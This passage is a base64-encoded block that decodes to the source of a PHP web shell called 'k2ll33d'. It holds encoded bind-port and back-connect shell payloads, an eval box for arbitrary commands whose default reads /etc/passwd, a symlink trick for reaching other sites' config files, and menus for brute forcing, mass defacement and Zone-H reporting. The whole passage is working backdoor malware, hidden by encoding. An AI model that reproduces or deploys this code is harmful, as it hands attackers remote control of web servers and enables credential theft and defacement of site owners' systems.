NyY1k0RlpzOUdpcnN0MnBJWUN0Sk9SV1pDZHJaclFpYklyQ1I5UGhKV1ZtVGJSU2VXcG9EVTRFVm1lb2ttTU1DTndWRlJTYVpCSjFRVlpCcGMwN3NUcFU1cjNrbVpVM2grSnZ1RXJXZmNhRFBIeXVIRmRNR3BldFdxa2tjRlhLc0xWMlZ2UTRxUzNsaE9HUXIrRlFzSzdpU0NPVVlaUWF6YnJRWXBRU255TjdWcXFxNm5oNGpKS2tWZWs3bktPS2pOYXQ3cE0xcWZ1N2w5UldheUhKNHJvVWs5VWZLMTZGU2xMbG1yTWdiSU5OTEUxS3dPTVZFeUVWWjUwazBOTFUwbnZRUnpTWU5NNTIyeHJtb2ljVkt3cU1qbXFSelR1TnptZzB1RFM3YW94czJNeHhTN2FrMlU0SUtWeTFUWkR0Tkd6bXJBVE5PQ1o3VXVZMFZHNVhFZVRUeENUVmxZcWxFQngwelNjam9oaHJsTVEwN3lNOXF2TGJFOXFuanRDZTFRNUhaREJ1WFF6RnRTU09NVllTMDVyUUZxYWtFR08xUTVuYkRBSmJvb3JBRjdWTWtmdFZrUm4wcHJMam1wdWRpb0tKQ1Z4MU5NWWdETkxLM1dxMHJseDZWU1Z6bXFUVWRpSzR1TVVWWGxqWnV4TkZiSkk4S3BVcU9XZ2JmYW5CRFYzN0tmU25DM0E3VkhNanJqaFpkU29rV2FsV0wycXlJZ08xUFdLazVIWEREV0lGaXA2eGZuVmdRMUlzZFE1SGJDZ1FKQ1RVMGNKOUtuU1BQYXJVVUh0V2JrZWpTd3R5Q0cyejJxNUZiWUhTck1OdndQU3JLeDRyRnlQb2FHRFVVUXh3Z0RrVktJd0tmdHhTbjJxTG5xUnBxS0doUUtZN0FBMDUyd0tyU3VUUWlLa2xGYUVFcmIyeFRrWHkwM0doSTl6WnBKVzN1RVdxOGp6Ylc5NWo3V1B6Sk41cTVOSUkwTkpDbmxSaXN6VTd3SUNBYUxjek9xVTFoYVBOTGNvYW5kbG1JQnpXZEVwWnFXUmpLK1RWaTJpejJycVM1VlkrR25LV0pxOHpKWW84Q2lad293S2xZaU5hcHNTeEpxVnFkVlIremp5cmNZYU9LUHJTNHJRNEJWR2FlY0dtampGT0FxV2F4N0NZRlBBeFNEbW5Da2FSUTlCVnFMakZWMEZXWXhVTTlHaWl6RU9hdEljVlZqNHFkVFdMUGRwT3lMQ21ucWFnQnFSVGlwTytNaVVHbHpVVzczb0wwckczT2liTktHcUFOVGcrYUxGS29pZmRTZzVxRUhOU0xTTjR5dU9aUTR3UUNLemIzUW9ibkpVYkc5cTB4UlRUYTJNNjFDbGlJOHRTTnpqN3ZRNTdmSkM3aDZpczE0V1hnZ2cxNkNjRWMxVXVMR0NmNzBZK3RieHJQcWZMNG5JSVBXaksza3poREZnMHd4KzFkYk5vRUxFN0NWcWxMb0RxVHR3d3JaVlV6NTJyazJJcDlMK2h6eGo1NlVua1pOYkQ2VzZIbENLamF4SXhrVmZPanpwWUNvdmlSbG1FK2xIbFZwZllqbkdLUTJUZWxQbVJuOVRrdWhuaUwxcHdpcS85aUlwd3NpZXRITWkxZzU5aWdJNmtXSStsYUNXUHR6VmlPeEo3VkxtZGxQQXpmUXo0YmJkVnlLekJxNnRtUU1nVk9scTFZdVo3TkhBY3U2S2lXcWlwQkdxOXF0cmFtbkMweWVsUnpIcHh3clMwUlJaUFNtbENlQUswMXNoNlU4V1k5S1hPYWZVcHlNanltWURpa05xV0hTdDBXcWp0VGhiS08xTG5ORmx0OTJjNmRMYVE5RG1uSm9oWThpdWpFUUhhbmJRS1BhTXBaUFIza1lTYUF2Y1pvcmNad3Z0UlM1NUcvd0RaMkVqbzRuS2xCdHBqSUtLSzZFZkp5aXJEY1lwd0ZGRk15U0hBWXFhSlFXb29xR2RWSmFvc29vcTlDZzIwVVZsSTkzREpYTFNMeFQ2S0t6UGNqc0llQlRTZUtLS0JTSzhqR3F4SkxkYUtLcEhsVmR5Umo1Y1JJNjBsbWdaaXg2MFVVK2dSMXF4VEpydVV4UjhWeTk1TXp5Tm1paXRhU1BGem1jcnBYMEdRcUdZWnJTaFVLdEZGYVNQTndhVnJsYTRrSmsyMUNmU2lpbWpDcTI1TzRuZWlpaW1ZanNaV25xTUNpaWtieEZwNDZVVVVqVkVxYzRxMGc0b29yTm5wMFNkQnhVdzZVVVZrejE0YkM1eFRnZUtLS1JxbnFCWTBtNmlpZ2QyTk1ocDBiRWlpaW1URnZtTFMxS3ZhaWlzejE0YkQ2UThDaWlnMkkzT0tpZHlLS0thT1dvMlJHWTV4U2VhUlJSVkhBNXk3Z0pOMk1nVTFsUmp5Z29vb1FOM1dwRzlwR3g0R0toa3MxWG5ORkZOTm1NNlVHbTdFWGtxS2Q1SXhSUlZYWnhSaEhzVHcyNjR6MXF5c0NrQ2lpb1BTcFFqWmFFZ2lBcDRqR0tLS2s5Q01WMkhCQm1uQkFLS0tSdEZJY0ZGS0Z4UlJRV2tMaWs3MFVVREVMVkZLNVVFMFVVR0ZSdEl6THU3Y0tjY1VVVVYwUlNzZklZbXJQMm01LzlrPSc7DQokcG9ydF9iaW5kX2JkX2M9ImJWTmhiOW93RVAyT3hIKzRwaEk0TklOQU4wMGFZeEphVzZtYXhxYlNMeE5ES0RpWHhpTFlrVzNLR09wLzN6bE9wbzd4SVk3OTNqdmYgK2ZsOEtTUXZkaW5DUjJOVG9mcjVwM2JyOGhXbWhYdzZCUTltWUE4bG1qTzRVWHlEOW9TUWFBVjlBeUZQQ05SYStwUkNXdGdtUXJKRSBQL0dJaHVmUWcyNDlicmQ0bm1qbzlSeEJxeU5BdXdXT2R2bXlOQUtKK3l3bEJpcmhlcGN0cnVPbFc5TUpkdHpya2pUVkt5RkI0MVpaIGRLVElXS2IwaG9Vd21VQWN3dEZ0NittK0VYS1ZKVnRSSEdBQzA3dlYvZXoyY2Z3dlhTcHRpY3l0a29ZbFZnbFgvZk5pdUF6REU2VkwgM1RmVnJ3NG8yUDFzZW5QenNKck9mb1JqbDljZmhXanZJYXR6UnZOdm43K3M1bzhQdDlPdlVSeldaVjk0ZFFnbGVhZzBDM3dRVkt1ZyBVcTJGVEZuakR6dnhBWHBoeDljWFFmeHI2UGN0aExFby84YThxOEI5TGdwa1E3b09nS01idk5lVGhITXNiU09PNjlJQTBsMDVZcFhrIEhEVDhIeHJWMEY0TGl6VVdmRStNMlN1ZGZnaWlZYk9OeGlTdGVicmd5SWpmcURKRzA3QVdpQXpZQmM5TGl2VTNNVnBHRlYyeDFKNFcgdHl4QW5pdllZOEhWRnNFcVdGKy9mN3NCazJOUlFLY0RBL0p0c0U1TURtOUVVRytNaGNGcWtwWDBIbXhHYnFia2RCVE1sZGFIUnNVTCBaZW9EZU9TRkJ2cGVmQ2ZYaGZsT3BnVGt2SitqdEtpUjd2TG9oWUtDcVMyWm1NUmo0WjVnUVpmU2lNYmk2aXFrZG5IYXJFRVhZdWs2IHVQdFRkdW1zcjBIQzRxNXJyek5pZlY3c0MzWldVbXErTFZsVmE1T2ZRalRhblpZUU8rVWYiOw0KJHBvcnRfYmluZF9iZF9wbD0iWlpKaFQ4SXdFSWEvay9BZmprbGdTMmFBK0JGbUpEQjFjVzVrSFNaR3pUSzJReHBtdTJ3bFlvRC9icnVCSWZpdGQzM3V2WHV2dldyMSBObVhSVzFEV3k3SEltbzAyZWJSZDE5S3ExQ0l1VjNCTnRXR3pRWmVnMzQyRGh4Y1l3Y0NBSGVDV0NuMWdET0VnaTF5SGhMWVh6ZndnIHROcUtldXQveUtKTmlVQjRza1loZzNaZWNNRVRubG1mS0tyejRvZkZYNmgzUlpKM0RVbVVGYW9Uc3pPN2p4elBEczBPOFNkUEVRa0QgZS94cy9na1lzTjlEU2hHMFNjd0VKQVhHQXFHdWZtZHEyaEtGQ25tdTFJanZSa3BINmhFL0N1dzVzY2ZUYVdBT1ZFOXBNNVdNb3VNMCBMU0xLOUhNM3B1TXBOaHA3cjhaRlc1NGpnNXdYeDVZWkxRVXlLWFZ6d2RVWForVDNpbVlvVjlkczdKcU5PRWxRVGpueFBjOGtSclZvIHZhVzNjNXBhUzE2c2pabzZxVEV1UUtVMVVPL1JTbkZKR2FhZ2NGVmJqVVRDcWVPWjJxaWpOTFd6ckQ4UFRlMzJYOW9PZ3ZNMGJqR0IgK2hlY2ZPUUZsVDRVY0xTa21JMWNlWTNWcnBLTXk5ZFdVQ1ZDQmZUbFFYNk93eTg9IjsNCiRiYWNrX2Nvbm5lY3Q9ImZaRlJTOE13RklYZkIvc1BXU3cyaFVybnF5UEMwQ3BEM0tTdHZxaDBYUnBjc0UxS2tvS0YvWGlUdENJVjZ0dTU1K1o4OXlZNVcwU3Qga3RHQjhhaWhzcHJQV2tWQktzZ24xYXY1ekNOMWlRR3NPdjRGYmFrNnBXbU5nVS9KVVFDNGIzbFJVM0JSN09GcWNGaHB0TU9wbzI4aiBTMndoVnVsQ2ZsQ052WFZ5Ly9LNmZMZFdJK1NQY2VrTVZwU2x4SXhUblJkYWNEU0VBbkE2Z1pKUkJHTXBoYndDM3VLTnc4QWhYRUtaIGphM0ltY2xZYWdoNjFuOUpLYlRBaHU3RW9iTjNRYjRtalcvYnlyMEJTbmMzRDNFV2dxZTdmTE8xd2hwNW1pWHgrdEhNY05IcEdVUncgVHNrdnBkOTIrcnhvS0VkcGRydlpoZ0Jlbi9leFVXZjNuRTIxNGlUNTIrci9DdzMvNWphcWhLTDlpRkZwdUtQYXdJTFZOdz09IjsNCiRiYWNrX2Nvbm5lY3RfYz0iWFZIYmFnSXhFSDBYL0lkaGhaTFVXRjFmMVlLSUJlbEZxZlpKbGlVbTJXN29iaUpKTExXbC85NGsyOXJXaHlFemMrWjJUanBTc2VyQSBCWXl0NDFKZmxkZnRWdWMzZDdSOXE5bUxjR2VBRWs1NjYwc1ZBYWtjMUZRcUZCeHFuaGtCVmxJRGw5NS8zV2E0M2Zwb3R5Q0FCUjk1IHp6cHpZQTdDYU1xNXlhVUNLMVZBWXB1cDdYYVlacFBFMU5BcklCbUJSemdWdFZZb0pRTWNSL2pWM3ZLQzFySTZ3Z1NtTi9uaVliNzUgaSsyMWNSNHBuVllXVWFjbGl2Y01NL3h2UkRqaHlzYkhWd2RlMFcrSzB3ekg5YnQzWWZSUGluZ0NsVkNuaW03YS9adUpDMEpUd2YzQSBSa0QwZlIrQjlYSjJtNjgzai9QcFBZSEZhdlc0M0N6enpXeUZJZmJJQWhCaVdpbkJIQ280QVhTbUZseGl1UEIzRTAvZ1hlamlITWNZIGp3Y1lndUlBZTJHTU5palo5akw0R1lxVFNCOUF2RW1IR2prL20xOWgxQ0d2UG9ISVk1QTFPaDJ0RTNYSWUxYnhLdzc3WVR5dDZUMkYgNmY5d0dFUHhKbGlGa3Y1T3FyNHRFNUxZRW5veUlmRHdkSGNYSzFpbHJmQWRVYlBQTHc9PSI7DQo/PjxodG1sPjxoZWFkPjxsaW5rIGhyZWY9J2RhdGE6aW1hZ2UveC1pY29uOzw/cGhwIGVjaG8gJHR1bmlzaWE7Pz4nIHJlbD0naWNvbicgdHlwZT0naW1hZ2UveC1pY29uJyAvPjx0aXRsZT46OiBrMmxsMzNkIDo6PC90aXRsZT4NCjxsaW5rIGhyZWY9J2h0dHA6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PU9yYml0cm9uOjcwMCcgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0L2Nzcyc+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpmdW5jdGlvbiB0dWthcihsYW1hLGJhcnUpe2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKGxhbWEpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZChiYXJ1KS5zdHlsZS5kaXNwbGF5ID0gJ2Jsb2NrJzt9DQo8L3NjcmlwdD48bGluayBocmVmPSdodHRwOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1PcmJpdHJvbjo3MDAnIHJlbD0nc3R5bGVzaGVldCcgdHlwZT0ndGV4dC9jc3MnPjxzdHlsZT4NCi5teWJveHstbW96LWJvcmRlci1yYWRpdXM6IDEwcHg7IGJvcmRlci1yYWRpdXM6IDEwcHg7Ym9yZGVyOjFweCBzb2xpZCAjNEM4M0FGOyBwYWRkaW5nOjRweCAycHg7d2lkdGg6NzAlO2xpbmUtaGVpZ2h0OjI0cHg7fS5teWJveHRibHsgd2lkdGg6NTAlOyB9Ym9keXtiYWNrZ3JvdW5kOiMwMTAxMDE7fSBhIHt0ZXh0LWRlY29yYXRpb246bm9uZTt9IGhyLCBhOmhvdmVye2JvcmRlci1ib3R0b206MXB4IHNvbGlkICM0QzgzQUY7fSAqe3RleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIHJnYigxNTMsIDE1MywgMTUzKTtmb250LXNpemU6MTFweDtmb250LWZhbWlseTpUYWhvbWEsVmVyZGFuYSxBcmlhbDtjb2xvcjojRkZGRkZGO30gLnRhYm5ldHttYXJnaW46MTVweCBhdXRvIDAgYXV0bztib3JkZXI6IDFweCBzb2xpZCAjMzMzMzMzO30gLm1haW4ge3dpZHRoOjEwMCU7fSAuZ2F5YSB7Y29sb3I6ICM4ODg4ODg7fSAudG9we2JvcmRlci1MRUZUOjFweCBzb2xpZCAjZmZmZmZmO2JvcmRlci1SSUdIVDoxcHggc29saWQgI2ZmZmZmZjtmb250LWZhbWlseTp2ZXJkYW5hO31pbnB1dHtiYWNrZ3JvdW5kOiMxMTExMTE7Ym9yZGVyOjE7cGFkZGluZzoycHg7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzIyMjIyMjtib3JkZXItdG9wOjFweCBzb2xpZCAjMjIyMjIyO2ZvbnQtc2l6ZToxMnB4O3ZlcnRpY2FsLWFsaWduOm1pZGRsZTtoZWlnaHQ6MjA7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICM1ZDVkNWQ7Ym9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjMTIxMjEyO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICMxMjEyMTI7Ym9yZGVyLXRvcDoxcHggc29saWQgIzVkNWQ1ZDtjb2xvcjojOWY5ZjlmO30gIC5pbnB1dHp7ICBiYWNrZ3JvdW5kOiMxMTExMTE7IGJvcmRlcjowOyBwYWRkaW5nOjJweDsgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzM5MzkzOTsgZm9udC1zaXplOjExcHg7IGNvbG9yOiNmZmZmZmY7IC1tb3otYm9yZGVyLXJhZGl1czogNnB4OyBib3JkZXItcmFkaXVzOiAxMHB4OyBib3JkZXI6MXB4IHNvbGlkICM0QzgzQUY7bWFyZ2luOjRweCAwIDhweCAwO30gLmlucHV0emJ1dHtiYWNrZ3JvdW5kOiMxMTExMTE7Y29sb3I6IzhmOGY4ZjttYXJnaW46MCA0cHg7Ym9yZGVyOjFweCBzb2xpZCAjNDQ0NDQ0O30gIC5pbnB1dHpidXQ6aG92ZXJ7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzRDODNBRjtib3JkZXItdG9wOjFweCBzb2xpZCAjNEM4M0FGO30uaW5wdXR6OmhvdmVyeyAtbW96LWJvcmRlci1yYWRpdXM6IDZweDsgYm9yZGVyLXJhZGl1czogMTBweDsgYm9yZGVyOjFweCBzb2xpZCAjNEM4M0FGO21hcmdpbjo0cHggMCA4cHggMDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjNEM4M0FGO2JvcmRlci10b3A6MXB4IHNvbGlkICM0QzgzQUY7fS5vdXRwdXQyIHttYXJnaW46YXV0bztib3JkZXI6MXB4IHNvbGlkICM4ODg4ODg7YmFja2dyb3VuZDojMDAwMDAwO3BhZGRpbmc6MCAycHg7fSB0ZXh0YXJlYXttYXJnaW46YXV0bztib3JkZXI6MnB4IHNvbGlkICM1NTU1NTU7YmFja2dyb3VuZDojMDAwMDAwO3BhZGRpbmc6MCAycHg7fSAub3V0cHV0IHttYXJnaW46YXV0bztib3JkZXI6MXB4IHNvbGlkICMzMDMwMzA7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7YmFja2dyb3VuZDojMDAwMDAwO3BhZGRpbmc6MCAycHg7fSAuY21kYm94e3dpZHRoOjEwMCU7fS5oZWFkX2luZm97cGFkZGluZzogMCA0cHg7fSAuYjF7Zm9udC1zaXplOjMwcHg7cGFkZGluZzowO2NvbG9yOiM1NTU1NTU7fSAuYjJ7Zm9udC1zaXplOjMwcHg7cGFkZGluZzowO2NvbG9yOiM4MDAwMDA7fSAuYl90Ymx7dGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luOjAgNHB4IDAgMDtwYWRkaW5nOjAgNHB4IDAgMDtib3JkZXItcmlnaHQ6MXB4IHNvbGlkICMzMzMzMzM7fSAucGhwaW5mbyB0YWJsZXt3aWR0aDoxMDAlO3BhZGRpbmc6MCAwIDAgMDt9IC5waHBpbmZvIHRke2JhY2tncm91bmQ6IzExMTExMTtjb2xvcjojY2NjY2NjO3BhZGRpbmc6NnB4IDhweDs7fSAucGhwaW5mbyB0aCwgdGh7YmFja2dyb3VuZDojMTkxOTE5O2JvcmRlci1ib3R0b206MXB4IHNvbGlkICMzMzMzMzM7Zm9udC13ZWlnaHQ6bm9ybWFsO30gLnBocGluZm8gaDIsIC5waHBpbmZvIGgyIGF7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1zaXplOjE2cHg7cGFkZGluZzowO21hcmdpbjozMHB4IDAgMCAwO2JhY2tncm91bmQ6IzIyMjIyMjtwYWRkaW5nOjRweCAwO30gLmV4cGxvcmV7d2lkdGg6MTAwJTt9IC5leHBsb3JlIGEge3RleHQtZGVjb3JhdGlvbjpub25lO30gLmV4cGxvcmUgdGR7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzMzMzMzMztwYWRkaW5nOjAgOHB4O2xpbmUtaGVpZ2h0OjI0cHg7Y29sb3I6Izk5OTk5OTt9IC5leHBsb3JlIHRoe3BhZGRpbmc6M3B4IDhweDtmb250LXdlaWdodDpub3JtYWw7Y29sb3I6Izk5OTk5OTt9IC5leHBsb3JlIHRoOmhvdmVyICwgLnBocGluZm8gdGg6aG92ZXJ7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgcmVkO30gLmV4cGxvcmUgdHI6aG92ZXJ7YmFja2dyb3VuZDojMzMzMzMzO30gLnZpZXdmaWxle2JhY2tncm91bmQ6I0VERUNFQjtjb2xvcjojMDAwMDAwO21hcmdpbjo0cHggMnB4O3BhZGRpbmc6OHB4O30gLnNlbWJ1bnlpe2Rpc3BsYXk6bm9uZTtwYWRkaW5nOjA7bWFyZ2luOjA7fSAjbWVudXtmb250LWZhbWlseTpvcmJpdHJvbjtiYWNrZ3JvdW5kOiAjMTExMTExO21hcmdpbjo1cHggMnB4IDRweCAycHg7fSAjbWVudSBhe3RleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjtmb250LWZhbWlseTpvcmJpdHJvbjtwYWRkaW5nOjRweCA2cHg7bWFyZ2luOjA7YmFja2dyb3VuZDojNjY2NjY2O3RleHQtZGVjb3JhdGlvbjpub25lO2xldHRlci1zcGFjaW5nOjFweDtjb2xvcjojZmZmZmZmO30gI21lbnUgYTpob3Zlcntmb250LWZhbWlseTpvcmJpdHJvbjtiYWNrZ3JvdW5kOiMxOTE5MTk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzQ0NDQ0NDtib3JkZXItdG9wOjFweCBzb2xpZCAjNDQ0NDQ0O2NvbG9yOiNjZWNlY2U7fWssIGsgYSwgayBhOmhvdmVye3RleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIHJlZDtmb250LWZhbWlseTpvcmJpdHJvbjtmb250LXNpemU6MjVweDtjb2xvcjojZmZmZmZmO308L3N0eWxlPjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NtZCcpLmZvY3VzKCk7Ij48ZGl2IGNsYXNzPSJtYWluIj48ZGl2IGNsYXNzPSJoZWFkX2luZm8iPiA8dGFibGU+PHRyPjx0ZCB3aWR0aD0iMTUlIj48dGFibGUgY2xhc3M9ImJfdGJsIj4NCjw/cGhwIGVjaG8gKGJhc2U2NF9kZWNvZGUoJ1BHZ3hQanhoUG1zZ01pQnNJR3dnTXlBeklHUW1ibUp6Y0RzbWJtSnpjRHRUSUdnZ1pTQnNJR3c4TDJFK1BDOW9NVDRtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNtYm1KemNEcz0nKSk7Pz48ZGl2IGlkPSJtZW51Ij48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9YWJvdXQiPkFib3V0IE1lPC9hPjwvZGl2Pg0KPC90ZD48L3RyPjwvdGFibGU+PC90ZD48dGQgY2xhc3M9InRvcCIgd2lkdGg9JzYwJSc+PD9waHAgZWNobyAkYnVmZjs/PjwvdGQ+Jm5ic3A7Jm5ic3A7PHRkIHN0eWxlPSJ3aWR0aDozMCU7Ij48YT5zZXJ2ZXIgaXAgOjw/cGhwIGVjaG8gJHNlcnZlcl9pcC4iPGZvbnQgY29sb3I9J3JlZCc+PGJyPjxicj48L2ZvbnQ+IHlvdXIgaXAgOiAiLiRteV9pcC4iPGJyPjwvYT4iOz8+PGJyPjxkaXYgaWQ9Im1lbnUiPjxhIGhyZWY9Ij8iPkhvbWU8L2E+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+PC9kaXY+DQo8ZGl2IGlkPSJtZW51Ij48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4iPkZpbGVzPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1zaGVsbCI+U2hlbGw8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXVwbG9hZCI+dXBsb2FkPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1waHAiPkV2YWw8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXN5bSI+U3ltPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1uZXRzcGxvaXQiPlRvb2xzPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1teXNxbCI+U3FsPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1tYXNzIj5NYXNzPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1icnV0ZSI+QnJ1dGU8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXBocGluZm8iPnBocGluZm88L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXpvbmUtaCI+Wm9uZS1IPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1qb29tbGEiPkpvb21sYTwvYT48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9d29yZHByZXNzIj5Xb3JkcHJlc3M8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXZiIj5WYjwvYT48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9ZG9tYWlucyI+RG9tYWluczwvYT48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9c3RyaW5nIj5TdHJpbmc8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXdtIj5XcCBNYXNzPC9hPjwvZGl2Pg0KPD9waHAgaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BocCcpKXs/Pjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PXBocCIgbWV0aG9kPSJwb3N0Ij48dGFibGUgY2xhc3M9ImNtZGJveCI+PHRyPjx0ZD48dGV4dGFyZWEgY2xhc3M9Im91dHB1dCIgbmFtZT0iY21kIiBpZD0iY21kIiBjb2xzPTkwPiANCjw/cGhwIGlmKGlzc2V0KCRfUE9TVFsnc3VibWl0Y21kJ10pKSB7ZWNobyBldmFsKG1hZ2ljYm9vbSgkX1BPU1RbJ2NtZCddKSk7fWVsc2UgZWNobyAiZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9wYXNzd2QnKTsiOz8+PC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOjE5JTsiIGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkRvICEiIG5hbWU9InN1Ym1pdGNtZCIgLz48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC9mb3JtPiA8P3BocCB9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2Fib3V0Jykpe2VjaG8gJzxjZW50ZXI+PGltZyBjbGFzcz0iSG92ZXJCb3JkZXIiIGFsdD0iIiBzcmM9ImRhdGE6aW1hZ2UvanBlZzsnLiR0dW5pc2lhLiciIC8+PC9jZW50ZXI+PGJyPjxjZW50ZXI+PGs+V2ViIFNoZWxsIEJ5IEsybGwzM2Q8YnI+PGJyPjxicj5NYWlsOiZuYnNwOzxhIGhyZWY9bWFpbHRvOmsybGwzM2RAbGl2ZS5mcj5rMmxsMzNkIFthdF0gbGl2ZS5mcjwvYT48YnI+PGJyPjxhIGhyZWY9Imh0dHBzOi8vZmFjZWJvb2suY29tL2sybGwzM2QiIHRhcmdldD0iX2JsYW5rIj5GYWNlYm9vazwvYT4mbmJzcDs8YSBocmVmPSJodHRwOi8vem9uZS1oLm9yZy9hcmNoaXZlL25vdGlmaWVyPVJlWksyTEwiIHRhcmdldD0iX2JsYW5rIj5ab25lLUg8L2E+PC9rPjwvY2VudGVyPic7fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdzeW0nKSl7QHNldF90aW1lX2xpbWl0KDApO0Bta2Rpcignc3ltJywwNzc3KTtlcnJvcl9yZXBvcnRpbmcoMCk7JGh0YWNjZXNzICA9ICJPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBnYXphLmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOyRvcCA9QGZvcGVuICgnc3ltLy5odGFjY2VzcycsJ3cnKTtmd3JpdGUoJG9wICwkaHRhY2Nlc3MpO2VjaG8gJzxjZW50ZXI+PGJyPjxicj48Zm9ybSBtZXRob2Q9InBvc3QiPiBGaWxlIFBhdGg6PGJyPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlIiB2YWx1ZT0iL2hvbWUvdXNlci9wdWJsaWNfaHRtbC9jb25maWcucGhwIiBzaXplPSI2MCIvPjxicj5TeW1saW5rIE5hbWU8YnI+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InN5bWZpbGUiIHZhbHVlPSJzLnR4dCIgc2l6ZT0iNjAiLz48YnI+PGJyPjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzeW1saW5rIiBuYW1lPSJzeW1saW5rIiAvPjxicj48YnI+PC9mb3JtPjwvY2VudGVyPic7JHRhcmdldCA9ICRfUE9TVFsnZmlsZSddOyRzeW1maWxlID0gJF9QT1NUWydzeW1maWxlJ107JHN5bWxpbmsgPSAkX1BPU1RbJ3N5bWxpbmsnXTtpZiAoJHN5bWxpbmspIHtAc3ltbGluaygiJHRhcmdldCIsInN5bS8kc3ltZmlsZSIpO2VjaG8gJzxicj48Y2VudGVyPjxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJzeW0vJy4kc3ltZmlsZS4nIiA+Jy4kc3ltZmlsZS4nPC9hPjxjZW50ZXI+Jzt9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdtYXNzJykpe2Vycm9yX3JlcG9ydGluZygwKTs/Pjx0YWJsZT48dGQgd2lkdGg9IjUwJSI+PGZvcm0gRU5DVFlQRT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSI8P3BocCAkX1NFUlZFUlsnUEhQX1NFTEYnXT8+IiBtZXRob2Q9cG9zdD48cCBhbGlnbj0iY2VudGVyIj48aDI+Rm9sZGVyPC9oMj48aW5wdXQgY2xhc3MgPSdpbnB1dHonIHR5cD10ZXh0IG5hbWU9cGF0aCBzaXplPTYwIHZhbHVlPSI8P3BocCBlY2hvIGdldGN3ZCgpOz8